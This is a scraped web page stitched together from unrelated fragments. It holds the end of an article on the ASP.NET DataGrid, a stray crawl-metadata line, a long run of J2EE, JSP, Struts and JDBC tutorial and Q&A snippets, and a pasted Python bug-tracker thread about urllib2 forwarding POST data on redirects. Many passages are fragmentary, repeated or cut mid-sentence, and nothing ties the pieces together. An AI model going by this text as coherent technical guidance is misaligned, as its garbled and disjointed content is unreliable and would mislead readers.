well. If you have questions about this article, the techniques discussed, or the code samples examined, I invite you to email me. I can be reached at mitchell@4guysfromrolla.com. Happy Programming! Recommended Links - An Extensive Examination of the DataGrid Web Control: Part 15: Adding Default Paging Support to a DataGrid - An Extensive Examination of the DataGrid Web Control: Part 4: Creating a Sortable DataGrid - The DataGrid, DataList, and Repeater Forum at ASP.NET Forums About the).
http://msdn.microsoft.com/en-us/library/aa479006.aspx
CC-MAIN-2014-35
refinedweb
4,244
51.58
From: Aleksey Gurtovoy (agurtovoy_at_[hidden]) Date: 2003-02-23 20:14:53 Andreas Huber wrote: > Hi Aleksey & all other metaprogramming gurus Hi Andreas, > > The attached code compiles just fine with MSVC7.1 but MSVC7.0 once more has > its problems. This time I'm quite sure it has nothing to do with MPL, > instead VC7.0 seems to get confused and reports the following: > > d:\Data\StopWatch\StopWatch.cpp(58) : error C2516: > 'state_base_type<Derived,Context,Transitions,InnerInitial>::type' : is not a > legal base class > > According to the docs this error is reported when you try to inherit from > built-in types like int. > If you then remove the 3 first characters of the lines marked with // *** > here ***, the program compiles and you can see in the debugger that the > result returned by the metafunction state_base_type is quite a legal base > class (see type of pWhatever). > > Has anyone else ever encountered similar problems with either 7.0 or 6.5? Yep, it's a known bug called "early template instantiation" (ETI). It's briefly described here -. > Are there any workarounds? Sure. In your case, it would be as simple as this: #include <boost/mpl/aux_/msvc_eti_base.hpp> ... template< class Derived, class Context, class Transitions = empty_list, class InnerInitial = empty_list > class simple_state : public mpl::aux::msvc_eti_base< typename state_base_type< // ^^^^^^^^^^^^^^^^^^^^^^^^ Derived, Context, Transitions, InnerInitial >::type >::type {}; You will need the latest CVS for that, though. Aleksey Boost list run by bdawes at acm.org, gregod at cs.rpi.edu, cpdaniel at pacbell.net, john at johnmaddock.co.uk
https://lists.boost.org/Archives/boost/2003/02/44847.php
CC-MAIN-2020-29
refinedweb
253
67.65
SPARC System Call Anatomy Russ Blaine has described aspects of the x86 and x64 system call implementation in OpenSolaris. In this entry I'll describe the codeflow from userland to kernel and back for a SPARC system call. Making A System Call An application making a system call actually calls a libc wrapper function which performs any required posturing and then enters the kernel with a software trap instruction. This means that user code and compilers do not need to know the runes to enter the kernel, and allows binaries to work on later versions of the OS where perhaps the runes have been modified, system call numbers newly overloaded etc. OpenSolaris for SPARC supports 3 software traps for entering the kernel: Since OpenSolaris (as Solaris since Solaris 10) no longer includes a 32-bit kernel the ILP32 syscall on ILP32 kernel is no longer implemented. In the wrapper function the syscall arguments are rearranged if necessary (the kernel function implementing the syscall may expect them in a different order to the syscall API, for example multiple related system calls may share a single system call number and select behaviour based on an additional argument passed into the kernel). It then places the system call number in register %g1 and executes one of the above trap-always instructions (e.g., the 32-bit libc will use ta 0x8 while the 64-bit libc will use ta 0x40). There's a lot more activity and posturing in the wrapper functions than described here, but for our purposes we simply note that it all boils down to a ta instruction to enter the kernel. Handling A System Call Trap A ta n instruction, as executed in userland by the wrapper function, results in a trap type 0x100 + n being taken and we move from traplevel 0 (where all userland and most kernel code executes) to traplevel 1 in nucleus context. Code that executes in nucleus context has to be handcrafted in assembler since nucleus context does not comply to the ABI etc conventions and is generally much more restricted in what it can do. The task of the trap handler executing at traplevel 1 is to provide the necessary glue in order to get us back to TL0 and running privileged (kernel) C code that implements the actual system call. The trap table entries for sun4u and sun4v for these traps are identical. I'm going to following the two regular syscall traps and ignore the SunOS 4.x trap. Note that a trap table handler has just 8 instructions dedicated to it in the trap table - it must use these to do a little work and then to branch elsewhere: /* * SYSCALL is used for system calls on both ILP32 and LP64 kernels * depending on the "which" parameter (should be either syscall_trap * or syscall_trap32). */ #define SYSCALL(which) \ TT_TRACE(trace_gen) ;\ set (which), %g1 ;\ ba,pt %xcc, sys_trap ;\ sub %g0, 1, %g4 ;\ .align 32 ... ... trap_table: scb: trap_table0: /* hardware traps */ ... ... /* user traps */ GOTO(syscall_trap_4x); /* 100 old system call */ ... SYSCALL(syscall_trap32); /* 108 ILP32 system call on LP64 */ ... SYSCALL(syscall_trap) /* 140 LP64 system call */ ... So in both cases we branch to sys_trap, requesting TL0 handler of syscall_trap32 for an ILP32 syscall and syscall_trap for a ILP64 syscall. In both cases we request PIL to remain as it currently is (always 0 since we came from userland). sys_trap is generic glue code that is used to take us from nucleus (TL>0) context back to TL0 running a specified handler (address in %g1, usually written in C) at a chosen PIL. The specified handler is called with arguments as given by registers %g2 and %g3 at the time we branch to sys_trap: the SYSCALL macro above does not move anything into these registers (no arguments to be passed to handler). sys_trap handlers are always called with a first argument pointing to a struct regs that provides access to all the register values at the time of branching to sys_trap; for syscalls these will include the system call number in %g1 and arguments in output registers (note that %g1 as prepared in the wrapper and %g1 as used in the SYSCALL macro for the trap table entry are not the same register - on trap we move from regular globals (as userland executes in) on to alternate globals - but that sys_trap glue collects all the correct (user) registers together and makes them available in the struct regs it passes to the handler. sys_trap is also responsible for setting up our return linkage. When the TL0 handling is complete the handler will return, restoring the stack pointer and program counter as constructed in sys_trap. Since we trapped from userland it will be user_rtt that is interposed as the glue that TL0 handling code will return into, and which will get us back out of the kernel and into userland again.Aside: Fancy Improving Something In OpenSolaris? Adam Leventhal logged bug 4816328 "system call traps should go straight to user_trap" some time ago. As described above, the SYSCALL macro branches to sys_trap:!ENTRY_NP(sys_trap) ! ! force tl=1, update %cwp, branch to correct handler ! wrpr %g0, 1, %tl rdpr %tstate, %g5 btst TSTATE_PRIV, %g5 and %g5, TSTATE_CWP, %g6 bnz,pn %xcc, priv_trap wrpr %g0, %g6, %cwp ALTENTRY(user_trap) ... ... syscall_trap32(struct regs *rp); We'll follow the ILP32 syscall route; the route for ILP64 is analogous with trivial differences in terms of not having to clear the upper 32 bits of arguments etc. You can view the source here. This runs at TL0 as a sys_trap handler so could be written in C, however for performance and hands-on-DIY assembler-level reasons it is in assembler. Our task is to lookup and call the nominated system call handler, and performing the required housekeeping along the way. ENTRY_NP(syscall_trap32) ldx [THREAD_REG + T_CPU], %g1 ! get cpu pointer mov %o7, %l0 ! save return addr First note that we do not obtain a new register window here - we will squat within the window that sys_trap crafted for itself. Normally this would mean that you'd have to live within the output registers, but by agreement handlers called via sys_trap are permitted to use registers %l0 thru %l3. We begin by loading a pointer to the cpu this thread is executing on into %g1, and saving the return PC (as constructed by sys_trap) in %o7. ! ! If the trapping thread has the address mask bit clear, then it's ! a 64-bit process, and has no business calling 32-bit syscalls. ! ldx [%o0 + TSTATE_OFF], %l1 ! saved %tstate.am is that andcc %l1, TSTATE_AM, %l1 ! of the trapping proc be,pn %xcc, _syscall_ill32 ! mov %o0, %l1 ! save reg pointer The comment says it all. The AM bit in the PSTATE at the time we trapped (executed the ta instruction is available in the %tstate register after trap, and sys_trap preserved that before it could be modified by further traps for us in the regs structure. Assuming we're not a 64-bit app making a 32-bit syscall: srl %i0, 0, %o0 ! copy 1st arg, clear high bits srl %i1, 0, %o1 ! copy 2nd arg, clear high bits ldx [%g1 + CPU_STATS_SYS_SYSCALL], %g2 inc %g2 ! cpu_stats.sys.syscall++ stx %g2, [%g1 + CPU_STATS_SYS_SYSCALL] The libc wrapper placed up to the first 6 arguments in %o0 thru %o5 (with the rest, if any, on stack). During sys_trap a SAVE instruction was performed to obtain a new register window, so those arguments are now available in the corresponding input registers (despite us not performing a save in syscall_trap32 itself). We're going to call the real handler so we prepare the arguments in our outputs (which we're sharing with sys_trap but outputs are understood to be volatile across calls). The shift-right-logical by 0 bits is a 32-bit operation (i.e., not srlx) so it performs no shifting but it does clear the uppermost 32-bits of the arguments. We also increment the statistic counting the number of system calls made by this cpu; this statistic is in the cpu_t and the offset, like most, is generated for a by genasym. ! ! Set new state for LWP ! ldx [THREAD_REG + T_LWP], %l2 mov LWP_SYS, %g3 srl %i2, 0, %o2 ! copy 3rd arg, clear high bits stb %g3, [%l2 + LWP_STATE] srl %i3, 0, %o3 ! copy 4th arg, clear high bits ldx [%l2 + LWP_RU_SYSC], %g2 ! pesky statistics srl %i4, 0, %o4 ! copy 5th arg, clear high bits addx %g2, 1, %g2 stx %g2, [%l2 + LWP_RU_SYSC] srl %i5, 0, %o5 ! copy 6th arg, clear high bits ! args for direct syscalls now set up We continue preparing arguments as above. Interleaved with these instructions we change the lwp_state member of the associated lwp stucture (there must be one - a user thread made a syscall, this is not a kernel thread) to indicate it is running in-kernel (LWP_SYS, would have been LWP_USER prior to this update) and increment the count of the number of syscall made by this particular lwp (there is a 1:1 correspondence between user threads and lwps these days). Next we write a TRAPTRACE entry - only on DEBUG kernels. That's a topic for another day - I'll skip the code here, too. While we're on the subject of tracing, note that the next code snippet includes mentions of SYSCALLTRACE. This is not defined in normal production kernels. But, of course, one of the great beauties of DTrace is that it doesn't require custom kernels to perform its tracing since it can insert/enable probes on-the-fly - so SYSCALLTRACE is near worthless now! ! ! Test for pre-system-call handling ! ldub [THREAD_REG + T_PRE_SYS], %g3 ! pre-syscall proc? #ifdef SYSCALLTRACE sethi %hi(syscalltrace), %g4 ld [%g4 + %lo(syscalltrace)], %g4 orcc %g3, %g4, %g0 ! pre_syscall OR syscalltrace? #else tst %g3 ! is pre_syscall flag set? #endif /* SYSCALLTRACE */ bnz,pn %icc, _syscall_pre32 ! yes - pre_syscall needed nop ! Fast path invocation of new_mstate mov LMS_USER, %o0 call syscall_mstate mov LMS_SYSTEM, %o1 lduw [%l1 + O0_OFF + 4], %o0 ! reload 32-bit args lduw [%l1 + O1_OFF + 4], %o1 lduw [%l1 + O2_OFF + 4], %o2 lduw [%l1 + O3_OFF + 4], %o3 lduw [%l1 + O4_OFF + 4], %o4 lduw [%l1 + O5_OFF + 4], %o5 ! lwp_arg now set up 3: If curthread->t_pre_sys flag is set then we branch to _syscall_pre32 to call pre_syscall. If that does not abort the call it will reload the outputs with the args (they were lost on the call to _syscall_pre32) using lduw instructions from the regs area and loading from just the lower 32-bit word of the args (we can no longer use srl by 0 since no registers have the arguments anymore) and branch back to label 3 above (as if we'd done the same after a call to syscall_mstate). If we don't have pre-syscall work to perform then call syscall_mstate(LMS_USER, LMS_SYSTEM) to record the transition from user to system state for microstate accounting purposes. Microstate accounting is always performed now - it used not to be the default and was enabled when desired. After the unconditional call to syscall_mstate we reload the arguments from the regs struct into the output registers (as after the pre-syscall work). Evidently our earlier srl work in the args is a complete waste of time (although not expensive) since we always land up loading them from the passed regs structure. This appears to be a hangover from days when microstate accounting was not always enabled.Aside: Another Performance Opportunity? So we see that our original argument shuffling is always undone as we have to reload after a call for microstate accounting, at least. But those reloads are made from the regs structure (cache/memory accesses) while it is clear that the input registers remain untouched and we could simply performing register-to-register manipulations (srl for the 32-bit version, mov for the 64-bit version). Reading through and documenting code like this really is worthwhile - I'll log a bug now! ! ! Call the handler. The %o's have been set up. ! lduw [%l1 + G1_OFF + 4], %g1 ! get 32-bit code set sysent32, %g3 ! load address of vector table cmp %g1, NSYSCALL ! check range sth %g1, [THREAD_REG + T_SYSNUM] ! save syscall code bgeu,pn %ncc, _syscall_ill32 sll %g1, SYSENT_SHIFT, %g4 ! delay - get index add %g3, %g4, %g5 ! g5 = addr of sysentry ldx [%g5 + SY_CALLC], %g3 ! load system call handler brnz,a,pt %g1, 4f ! check for indir() mov %g5, %l4 ! save addr of sysentry ! ! Yuck. If %g1 is zero, that means we're doing a syscall() via the ! indirect system call. That means we have to check the ! flags of the targetted system call, not the indirect system call ! itself. See return value handling code below. ! set sysent32, %l4 ! load address of vector table cmp %o0, NSYSCALL ! check range bgeu,pn %ncc, 4f ! out of range, let C handle it sll %o0, SYSENT_SHIFT, %g4 ! delay - get index add %g4, %l4, %l4 ! compute & save addr of sysent 4: call %g3 ! call system call handler nop We load the nominated syscall number into %g1, sanity-check it for range, and lookup the entry at that index in the table of 32-bit system calls sysent32 and extract the registered handler (the real implementation). Ignoring the indirect syscall cruft we the call the handler and the real work of the syscall is executed. Erick Schrock has described the sysent/sysent32 table in his blog entry on adding system calls to Solaris. ! ! If handler returns long long then we need to split the 64 bit ! return value in %o0 into %o0 and %o1 for ILP32 clients. ! lduh [%l4 + SY_FLAGS], %g4 ! load sy_flags andcc %g4, SE_64RVAL | SE_32RVAL2, %g0 ! check for 64-bit return bz,a,pt %xcc, 5f srl %o0, 0, %o0 ! 32-bit only srl %o0, 0, %o1 ! lower 32 bits into %o1 srlx %o0, 32, %o0 ! upper 32 bits into %o0 For ILP32 clients we need to massage 64-bit return types into 2 adjacent and paired registers. ! ! Check for post-syscall processing. ! This tests all members of the union containing t_astflag, t_post_sys, ! and t_sig_check with one test. ! ld [THREAD_REG + T_POST_SYS_AST], %g1 tst %g1 ! need post-processing? bnz,pn %icc, _syscall_post32 ! yes - post_syscall or AST set mov LWP_USER, %g1 stb %g1, [%l2 + LWP_STATE] ! set lwp_state stx %o0, [%l1 + O0_OFF] ! set rp->r_o0 stx %o1, [%l1 + O1_OFF] ! set rp->r_o1 clrh [THREAD_REG + T_SYSNUM] ! clear syscall code ldx [%l1 + TSTATE_OFF], %g1 ! get saved tstate ldx [%l1 + nPC_OFF], %g2 ! get saved npc (new pc) mov CCR_IC, %g3 sllx %g3, TSTATE_CCR_SHIFT, %g3 add %g2, 4, %g4 ! calc new npc andn %g1, %g3, %g1 ! clear carry bit for no error stx %g2, [%l1 + PC_OFF] stx %g4, [%l1 + nPC_OFF] stx %g1, [%l1 + TSTATE_OFF] If post-syscall processing is required then branch to _syscall_post32 which will call post_syscall and then "return" by jumping to the return address passed by sys_trap (which is always user_rtt for syscalls). If not then change the lwp_state back to LWP_USER and stash the return value (possibly in 2 registers as above) in the regs structure, clear the curthread->t_sysnum since we're no longer executing a syscall, and step the PC and nPC values on so that the RETRY instruction at the end of user_rtt which we're about to "return" into will not simply re-execute the ta instruction. ! fast path outbound microstate accounting call mov LMS_SYSTEM, %o0 call syscall_mstate mov LMS_USER, %o1 jmp %l0 + 8 nop Transition our state from system to user again (for microstate accounting purposes) and "return" through user_rtt as arranged by sys_trap. It is the task of user_rtt to get us back out of the kernel to resume at the instruction indicated in %tstate (for which we stepped the PC and nPC) and continue execution in userland.Technorati Tag: OpenSolaris Technorati Tag: Solaris
http://blogs.sun.com/gavinm/entry/sparc_system_calls
crawl-002
refinedweb
2,615
70.94
Labels tokens with their universal POS (UPOS) tags, treebank-specific POS (XPOS) tags, and universal morphological features (UFeats). Word pos xpos ufeats Running the part of speech tagger simply requires tokenization and multi-word expansion. So the pipeline can be run with tokenize,mwt,pos as the list of processors. After the pipeline is run, the document will contain a list of sentences, and the sentences will contain lists of words. The part-of-speech tags can be accessed via the upos and xpos fields. tokenize,mwt,pos upos import stanfordnlp nlp = stanfordnlp.Pipeline(processors='tokenize,mwt,pos') doc = nlp("Barack Obama was born in Hawaii.") print(*[f'word: {word.text+" "}\tupos: {word.upos}\txpos: {word.xpos}' for sent in doc.sentences for word in sent.words], sep='\n') This code will generate the following output: word: Barack upos: PROPN xpos: NNP word: Obama upos: PROPN xpos: NNP word: was upos: AUX xpos: VBD word: born upos: VERB xpos: VBN word: in upos: ADP xpos: IN word: Hawaii upos: PROPN xpos: NNP word: . upos: PUNCT xpos: . Most training-only options are documented in the argument parser of the POS/UFeats tagger.
https://stanfordnlp.github.io/stanfordnlp/pos.html
CC-MAIN-2019-39
refinedweb
191
58.48
19 October 2010 11:35 [Source: ICIS news] LONDON (ICIS)--?xml:namespace> Chevron was considering the project in partnership with Chinese oil company PetroChina, a source told ICIS on Monday. The project “is at a very early stage and is moving slowly”, the source said. However, Chevron said on Tuesday that it “wishes to distance ourselves unutterably from such allegations”. Chevron and PetroChina jointly own the Singapore Refining Co (SRC) refinery on The Singapore Economic Development Board (EDB) has said it would like the country’s ethylene capacity to be increased to 6m-8m tonnes/year in the long term, as part of its strategy to make better use of refinery bottoms. The EDB is
http://www.icis.com/Articles/2010/10/19/9402484/chevron-denies-reports-of-new-singapore-cracker-project.html
CC-MAIN-2015-06
refinedweb
115
61.46
On Mon, Nov 12, 2012 at 6:01 AM, Chris Angelico <rosuav at gmail.com> wrote: > > -- > > You asked this question yesterday. I answered as did several others. You seem to be stuck on how values are returned from a function. Chris gave you the same help that you got yesterday. The cur variable within the function disappears when the function ends. Read about python namespaces to learn more. So, you need to return the cur value in your function by using this statement: return cur Then when you call connect() is will return the cur value. You have to name it like this: cur = connect() You should go to python.org and read the tutorials, specifically about functions. good luck -- Joel Goldstick -------------- next part -------------- An HTML attachment was scrubbed... URL: <>
https://mail.python.org/pipermail/python-list/2012-November/634953.html
CC-MAIN-2017-04
refinedweb
130
85.18
A few weeks ago I read this blog post from the Instagram engineering team on machine learning and emoji trends. The post talked about general emoji usage over time on Instagram and then used word2vec an algorithm that uses a unsupervised learning process to read through a corpus of text and is then able to predict the context around a given word or emoji. The famous example of this word embedding method is vector['king'] - vector['man] + vector['woman'] = ['queen']. When I first read this post the NBA playoffs had recently started so I decided I would collect tweets pertaining to the playoffs and then try and use the same techniques Instagram used on the tweet dataset. I used the same process I used to collect tweets about an NHL game for this project however for the search terms I used the name of every starting player on each team that remained in the playoffs on May 11th. Over the last thirty six days I was able to collect 8,520,786 tweets. This was up until the beginning of game six of the finals. Once I had all of the tweets on my local machine I was able to start analyzing them. The first thing I wanted to do was create a pandas dataframe of all of the tweets and then drop all duplicate tweets, retweets, and tweets that contained a URL. import pandas as pd pd.options.display.max_colwidth = 0 df = pd.read_csv('/Users/danielforsyth/desktop/tweets.csv', encoding='utf-8') tweets = df['text'].drop_duplicates().values.tolist() tweets = [x for x in tweets if not x.startswith('RT')] tweets = [i for i in tweets if not ('http://' in i or 'https://' in i)] Now that I had a filtered list of tweets I wanted to find all of the emojis used in the tweets. First I used a regex pattern to capture all of the emojis and then created a pandas series to find the top 25 most used emojis. import re try: # UCS-4 e = re.compile(u'[\U00010000-\U0010ffff]') except re.error: # UCS-2 e = re.compile(u'[\uD800-\uDBFF][\uDC00-\uDFFF]') emojis = [] for x in tweets: match = e.search(x) if match: emojis.append(match.group()) dfe = pd.DataFrame(emojis,columns=['text']) pd.Series(' '.join(dfe['text']).lower().split()).value_counts()[:25] The 'face with tears of joy' emoji came in first place being used 67,884 times. This is interesting because this emoji was also the most used in Instagram's results of more than 50 millions comments and captions. The final thing I wanted to do was create a word2vec model using the tweets and see what type of results I could find. I used the genism library which makes setting up a model pretty trivial. wt = [list(x.split()) for x in tweets] import logging logging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s',\ level=logging.INFO) # Set values for various parameters num_features = 400 # Word vector dimensionality min_word_count = 5 # Minimum word count num_workers = 4 # Number of threads to run in parallel context = 10 # Context window size downsampling = 1e-3 # Downsample setting for frequent words from gensim.models import word2vec print "Training model..." model = word2vec.Word2Vec(wt, workers=num_workers, \ size=num_features, min_count = min_word_count, \ window = context, sample = downsampling) model.init_sims(replace=True) After creating the model, which could take some time depending on your machine and the size of the dataset, you can start performing some various syntactic/semantic NLP word tasks. model.most_similar('🏆'.decode('utf-8'),topn=15) model.most_similar('dunk',topn =15) You can see there is quite a few references to this Marreese Speights missed dunk: model.most_similar('chef',topn=15) "Been cookin' with the sauce, chef, curry with the pot, boy 360 with the wrist, boy." -Drake What I found to be the most interesting was what happened when I ran the similarity method with both MVP candidates and the word 'MVP'. model.similarity('james', 'mvp') model.similarity('curry', 'mvp') It looks like twitter believes Stephen Curry is more deserving of the finals MVP trophy. It was very interesting using word2vec for the first time as it was quite easy to setup and get results compared to other NLP techniques. In the future I would like to spend some more time working with word2vec particularly with a different and larger dataset. If you have any questions, feedback, advice, or corrections please get in touch with me on Twitter or email me at danforsyth1@gmail.com.
http://www.danielforsyth.me/nba-twitter-emojis-and-word-embeddings/
CC-MAIN-2018-09
refinedweb
744
62.98
From: John Maddock (John_Maddock_at_[hidden]) Date: 2000-01-30 07:54:57 Valentin - >> template <typename T, typename U> >> void fill(myUDT<T>*, myUDT<T>*, const U&){} > ^ >add <myUDT<T>*, U> here No! if we could do that (partially specialise a function template) then this discussion wouldn't have started. >> void foo() >> { >> std::fill<char*, char >(0, 0, 0); // ambiguous > >You don't mean char*, do you ? Sure I do, as in std::fill<iterator, T>, and char* sure is an iterator? :-) > >How is it different w/ specialisation ? specialisation is not overloading, with specialisation the address of a template function is well defined, with overloading it's not - I would guess that is the reasoning behind allowing specialisation in std, but not overloading. >That's correct. It would basically imply that lib code >cannot use standard lib templates or function, only >non-standard ones. And that's _not_ what we wanted. YADR. Not just standard library code, I chose that as an extreme example - if you overload in std then legal code may not compile, whether it is user code, in a third party library, or in the standard library itself - the point is that the cause of the error (the overload) is divorced from the compiler message - which is likely to list perfectly good code as the culprit. >??? > >It *seems* to be correct ? How could the Standard be wrong, >since it is the Truth ? Ah, as in "Carved in Stone" :-) My point was that there was a suggestion to change the standard to allow overloading in std, IMO I prefer to rely on Koenig lookup and keep overloads in their own namespaces, but I accept that that isn't perfect either - it is standard conformant though. - John. Boost list run by bdawes at acm.org, gregod at cs.rpi.edu, cpdaniel at pacbell.net, john at johnmaddock.co.uk
https://lists.boost.org/Archives/boost/2000/01/1987.php
CC-MAIN-2020-05
refinedweb
309
70.43
The following series presents cpu_enabled_map, which captures the concept of a physically present and enabled CPU. The complement of this map gives us present but disabled CPUs. Perhaps the CPU was disabled by firmware for whatever reason. For the most part, cpu_enabled_map will follow cpu_present_map. On x86 and ia64, ACPI can tell us if a CPU is present, enabled, or both. On those two archs, cpu_enabled_map is a subset of cpu_present_map. All CPUs described in the MADT are now added to cpu_present_map, but only ones with ACPI_MADT_ENABLED are added to cpu_enabled_map. Other archs may wish to do something similar, so some minimum levels of support are included with this patch series, enabling others to fill things in as desired. I certainly acknowledge that a better job could be done. Patch 01 introduces the actual map and interface. Patches 02 -- 12 modify arch code in an attempt to populate the map correctly. Patch 12 is the most interesting one, in that we actually demonstrate how an arch [ia64] would actually use cpu_enabled_map to control calling cpu_up() on a given CPU. Patch 13 fixes a potential overflow bug in ia64 ACPI code. Patch 14 is the money patch. It demonstrates why we might want to go through all these gyrations. Now that ia64 presents *all* physically present CPUs in sysfs, even if they have been disabled by firmware, we give userspace a way to poke at those CPUs. This is possible because present CPUs are in the ACPI namespace. Even though we might not have a valid per_cpu pointer for a disabled CPU (because we never called cpu_up() on it), we can still obtain a valid ACPI handle for that CPU by walking the namespace and executing methods underneath it. The big picture implication is that we can allow userspace to interact with disabled CPUs. In this particular example, we provide a knob that lets a sysadmin schedule any present CPU for firmware deconfiguration or enablement. I have compile tested on: - arm, sparc, powerpc, alpha, x86, and ia64 I have boot tested on x86 and ia64 None of my x86 platforms have firmware support for disabling CPUs, but my ia64 ones do, so that's where I've done my most extensive testing. Thanks. /ac --- Alex Chiang (14): ACPI: Provide /sys/devices/system/cpu/cpuN/deconfigure [IA64] Avoid overflowing ia64_cpu_to_sapicid in acpi_map_lsapic() [IA64] Populate and use cpu_enabled_map x86: Populate cpu_enabled_map [SPARC] Populate cpu_enabled_map [SH] Populate cpu_enabled_map [S390] Populate cpu_enabled_map [POWERPC] Populate cpu_enabled_map [PARISC] Populate cpu_enabled_map [MIPS] Populate cpu_enabled_map [ARM] Populate cpu_enabled_map [ALPHA] Populate cpu_enabled_map [M32R] Populate cpu_enabled_map Introduce cpu_enabled_map and friends arch/alpha/kernel/process.c | 2 arch/alpha/kernel/smp.c | 2 arch/arm/mach-realview/platsmp.c | 4 arch/ia64/kernel/acpi.c | 21 +- arch/ia64/kernel/smpboot.c | 7 + arch/m32r/kernel/smpboot.c | 1 arch/mips/kernel/smp.c | 1 arch/mips/kernel/smtc.c | 1 arch/parisc/kernel/processor.c | 1 arch/parisc/kernel/smp.c | 3 arch/powerpc/kernel/setup-common.c | 1 arch/powerpc/platforms/powermac/smp.c | 1 arch/powerpc/platforms/pseries/hotplug-cpu.c | 2 arch/s390/kernel/smp.c | 7 + arch/sh/kernel/smp.c | 1 arch/sparc/kernel/smp.c | 1 arch/sparc64/kernel/mdesc.c | 1 arch/sparc64/kernel/smp.c | 1 arch/x86/kernel/acpi/boot.c | 7 - arch/x86/kernel/apic_32.c | 1 arch/x86/kernel/apic_64.c | 1 arch/x86/kernel/smpboot.c | 2 arch/x86/mach-voyager/voyager_smp.c | 2 arch/x86/xen/smp.c | 1 drivers/acpi/Kconfig | 18 ++ drivers/acpi/Makefile | 4 drivers/acpi/processor_core.c | 8 + drivers/acpi/processor_deconfigure.c | 275 ++++++++++++++++++++++++++ drivers/base/cpu.c | 9 + include/acpi/processor.h | 6 + include/asm-ia64/smp.h | 1 include/asm-m32r/smp.h | 1 include/linux/cpumask.h | 31 ++- init/main.c | 1 kernel/sched.c | 16 +- 35 files changed, 415 insertions(+), 27 deletions(-) create mode 100644 drivers/acpi/processor_deconfigure.c -- To unsubscribe from this list: send the line "unsubscribe linux-acpi" in the body of a message to majordomo <at> vger.kernel.org More majordomo info at
http://article.gmane.org/gmane.linux.acpi.devel/32736
crawl-002
refinedweb
674
53.68
J2EE CODEDBC j2ee - Java Beginners J2EE count records in table How to count the number of records in a table in my J2EE application? Hi,Are you using jsp page?Thanks yes i am using jsp page I haven't receive ur answer PHP vs J2EE, PHP vs JAVA and physical thee-tear architecture. J2EE Web Server Architecture J2ee application structure looks very clear, for example JSP (Java Server Pages) communicate to EJB (Enterprise Java Bean), which further communicate to Database. The J2EE J2EE - Java Beginners J2EE I have just completed a beginners project using jsp and servlet... the portion of JSP and Servlet in detail. What should i study after this.  ...:// Thanks J2ee Crystal report integration J2ee Crystal report integration Hai Sir, I am familiar with crystal... with java web application.Right now i am using jsp to create reports.Developer cost is very high when making report in jsp(Handling dynamic sql queries,page J2EE - Development process J2EE i want to make use of check box and radio button and i want... and sends them to any resource (such as a servlet, HTML file, or JSP file) on the server...: J2EE interview questions page... JDK 1.4.2 Is there any API in JDK /J2EE to fulfill this requirement J2EE perspective in Eclipse - Design concepts & design patterns J2EE perspective in Eclipse Hi Friends, I downloaded Eclipse IDE in tat i could nt see J2ee perspective . can u tell me ow can i get that . with tat only we can create jsp and servlet files rigth . Thank u in advance... only with JDK1.2.Sun's tutorial is not much helpful. So, read carefully2EE Interviews Question page8,J2EE Interviews Guide,J2EE Interviews J2EE Interviews Question page8  ...; What is J2EE ? Java 2 Platform, Enterprise Edition. What is J2EE application ? Any deployable unit of J2EE functionality2EE J2EE Interviews Question page13,J2EE Interviews Guide,J2EE Interviews J2EE Interviews Question page13  ... (J2EE component) ? The framework events of a J2EE component's existence. Each.... Similar considerations apply to the life cycle of all J2EE component types J2EE Interviews Question page2EE clients J2EE clients What are types of J2EE clients? Following are the types of J2EE clients: Applets. Application clients. Java Web Start-enabled rich clients, powered by Java Web Start technology. Wireless clients, based j2ee - Hibernate j2ee what is meant by o-r mapping with an example what is the difference between bean,javabean,ejb with an example j2ee - EJB j2ee when we given a request for ejb cointainer how the container calls the we requested method call j2ee - Struts j2ee hi can you explain what is proxy interface in delegater design pattern - Spring j2ee hi guys can any send me the spring mvc example,thanks in advance Hi Friend, Please visit the following link: Hope that it will be helpful for you. Thanks J2EE - Date Calendar J2EE Server List j2ee server list2ee - JDBC j2ee import java.sql.*; public class Sample1 { public static void main(String args[])throws Exception { Class.forName("Oracle.jdbc.driver.OracleDriver"); Connection con=DriverManager.getConnection("jdbc:oracle doubt about J2EE connetivity doubt about J2EE connetivity steps to connect J2EE components with MYSQL J2EE - Java Beginners J2EE Programming What i need to learn to start programming in J2EE
http://roseindia.net/tutorialhelp/comment/74272
CC-MAIN-2014-15
refinedweb
537
56.05
Hello, Before i begin with my question, i would like to introduce myself. So i was introduced to ruby on rails via a friend around a couple of months back, when i decided to enroll myself with onemonth. Recently i was trying to create a profile page for the users based upon their username. So the profile page should be This is when i realized, what if a user decides to set their username as forum? I already got a controller named forum. How can i let people have their own profile pages and at the same time avoid having them choose a name that already belongs to a controller. Alright, so i had a look at friendly_id and i guess this pretty much solves the problem for me. Even though while i am implementing friendly_id i would highly appreciate any kind of feedback that i can get from you people here. Hey Rahul, So basically what you're gonna need is 2 things: /forumin your config/routes.rb so that your forum matches first. forumcouldn't be taken as a name. This isn't required although it's good practice. If you don't do it, a user could register as forumbut they wouldn't be able to access their account. Usually this is someone trying to game the system so they'll have to reach out to you for support to change it. If you do make a blacklist, you'll have to keep this updated as you add more things areas into your site. And as a fun fact, this is the reason why resources :users generates /users/:id so that you can avoid those namespacing issues. Obviously that's not always ideal if you want something like twitter or github's urls, but definitely cool to know. I had to chime in on this too. I agree on blacklisting the word forum. It's an easy fix and something I just learned about after implementing friendly_id. You'll want to open config/initializers/friendly_id.rb and add your namespace to the array shown below: config.reserved_words = %w(new edit index session login logout users admin stylesheets assets javascripts images forum) This should take care of the issue for you. But also make sure to place your route in the proper order as Chris mentioned. Cheers! Join 24,647+ developers who get early access to new screencasts, articles, guides, updates, and more.
https://gorails.com/forum/add-profile-page-for-users
CC-MAIN-2019-47
refinedweb
405
72.76
Created on 2012-02-27 22:44 by crustymonkey, last changed 2012-03-16 23:22 by eric.araujo. This issue is now closed.) If I recollect correctly, redirecting a POST request with POST data is not a recommended thing to do and could be a security hazard. That's why RFC prohibits it too. It is intentional that urllib2 is not redirecting carrying along the POST data. Could you show any browsers showing this behavior of redirecting along with POST? Senthil, That is a good point about the potential for security issues. What if it was an explicit option in HTTPRedirectHandler since there is a possibility of value in being able to do it. I know my case is probably unusual, but I imagine that others might have run into this too. Something roughly along this line is what I'm thinking: ---------------- class HTTPRedirectHandler(BaseHandler): redirect_post_data = False ... ... def redirect_request(self, req, fp, code, msg, headers, newurl): ... ... data = None if req.has_data() and self.redirect_post_data: data = req.get_data() return Request(newurl, data=data, headers=newheaders, origin_req_host=req.get_origin_req_host(), unverifiable=True) ---------------- That would leave the current default behavior as-is, but leave the option to explicitly override it by the user, perhaps with a BIG DISCLAIMER comment about security. Could you give the RFC section or URI? I glanced at the page about status codes but did not find a prohibition on 